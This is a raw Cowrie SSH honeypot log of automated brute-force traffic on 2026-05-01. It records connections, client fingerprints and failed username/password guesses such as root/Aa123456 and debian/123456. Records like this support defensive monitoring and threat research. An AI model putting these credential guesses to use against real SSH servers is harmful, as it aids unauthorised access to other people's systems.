{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:22.539997Z","src_ip":"176.65.139.103","session":"2c8be88baeda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":55246,"dst_ip":"159.203.135.109","dst_port":22,"session":"c466c8f79e7b","protocol":"ssh","message":"New connection: 213.209.159.159:55246 (159.203.135.109:22) [session: c466c8f79e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:24.901023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:24.905681Z","src_ip":"213.209.159.159","session":"c466c8f79e7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:24.988558Z","src_ip":"213.209.159.159","session":"c466c8f79e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jesenia","password":"jesenia","message":"login attempt [jesenia/jesenia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:25.390844Z","src_ip":"213.209.159.159","session":"c466c8f79e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jesenia","password":"jesenia1","message":"login attempt [jesenia/jesenia1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:26.475489Z","src_ip":"213.209.159.159","session":"c466c8f79e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jesenia","password":"jesenia123","message":"login attempt [jesenia/jesenia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:27.560669Z","src_ip":"213.209.159.159","session":"c466c8f79e7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56680,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aa3f8b9fa1f","protocol":"ssh","message":"New connection: 176.65.139.103:56680 (10.17.0.5:22) [session: 5aa3f8b9fa1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:27.758518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:27.763094Z","src_ip":"176.65.139.103","session":"5aa3f8b9fa1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:27.849497Z","src_ip":"176.65.139.103","session":"5aa3f8b9fa1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:28.107204Z","src_ip":"176.65.139.103","session":"5aa3f8b9fa1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jesenia","password":"jesenia1234","message":"login attempt [jesenia/jesenia1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:28.645236Z","src_ip":"213.209.159.159","session":"c466c8f79e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:29.259236Z","src_ip":"176.65.139.103","session":"5aa3f8b9fa1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jesenia","password":"jesenia12345","message":"login attempt [jesenia/jesenia12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:29.730607Z","src_ip":"213.209.159.159","session":"c466c8f79e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:30.816708Z","src_ip":"213.209.159.159","session":"c466c8f79e7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.195","src_port":37630,"dst_ip":"159.203.135.109","dst_port":22,"session":"762f5fb86d92","protocol":"ssh","message":"New connection: 2.57.122.195:37630 (159.203.135.109:22) [session: 762f5fb86d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:32.887293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:32.891914Z","src_ip":"2.57.122.195","session":"762f5fb86d92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:32.990240Z","src_ip":"2.57.122.195","session":"762f5fb86d92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:33.419782Z","src_ip":"2.57.122.195","session":"762f5fb86d92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56578,"dst_ip":"10.17.0.5","dst_port":22,"session":"de589bdfecf1","protocol":"ssh","message":"New connection: 176.65.139.103:56578 (10.17.0.5:22) [session: de589bdfecf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:34.580866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:34.590947Z","src_ip":"176.65.139.103","session":"de589bdfecf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:34.744047Z","src_ip":"176.65.139.103","session":"de589bdfecf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:35.040079Z","src_ip":"176.65.139.103","session":"de589bdfecf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:36.159519Z","src_ip":"176.65.139.103","session":"de589bdfecf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41864,"dst_ip":"159.203.135.109","dst_port":22,"session":"61e7eee32fb8","protocol":"ssh","message":"New connection: 159.203.92.129:41864 (159.203.135.109:22) [session: 61e7eee32fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:37.154366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:37.158900Z","src_ip":"159.203.92.129","session":"61e7eee32fb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:37.162933Z","src_ip":"159.203.92.129","session":"61e7eee32fb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123456","message":"login attempt [ansible/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:37.174098Z","src_ip":"159.203.92.129","session":"61e7eee32fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:38.180768Z","src_ip":"159.203.92.129","session":"61e7eee32fb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":51523,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d6afdac7079","protocol":"ssh","message":"New connection: 52.231.220.210:51523 (10.17.0.5:22) [session: 5d6afdac7079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:40.517406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:40.521849Z","src_ip":"52.231.220.210","session":"5d6afdac7079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:40.716328Z","src_ip":"52.231.220.210","session":"5d6afdac7079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chenkai","message":"login attempt [root/chenkai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:41.529545Z","src_ip":"52.231.220.210","session":"5d6afdac7079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56580,"dst_ip":"10.17.0.5","dst_port":22,"session":"853f43c766b7","protocol":"ssh","message":"New connection: 176.65.139.103:56580 (10.17.0.5:22) [session: 853f43c766b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:41.595840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:41.649728Z","src_ip":"176.65.139.103","session":"853f43c766b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:41.705109Z","src_ip":"176.65.139.103","session":"853f43c766b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:42.284248Z","src_ip":"176.65.139.103","session":"853f43c766b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:42.732120Z","src_ip":"52.231.220.210","session":"5d6afdac7079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:43.378346Z","src_ip":"176.65.139.103","session":"853f43c766b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55764,"dst_ip":"10.17.0.5","dst_port":22,"session":"efb2a0050582","protocol":"ssh","message":"New connection: 176.65.139.103:55764 (10.17.0.5:22) [session: efb2a0050582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:49.107955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:49.114038Z","src_ip":"176.65.139.103","session":"efb2a0050582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:49.200512Z","src_ip":"176.65.139.103","session":"efb2a0050582","protocol":"ssh"}
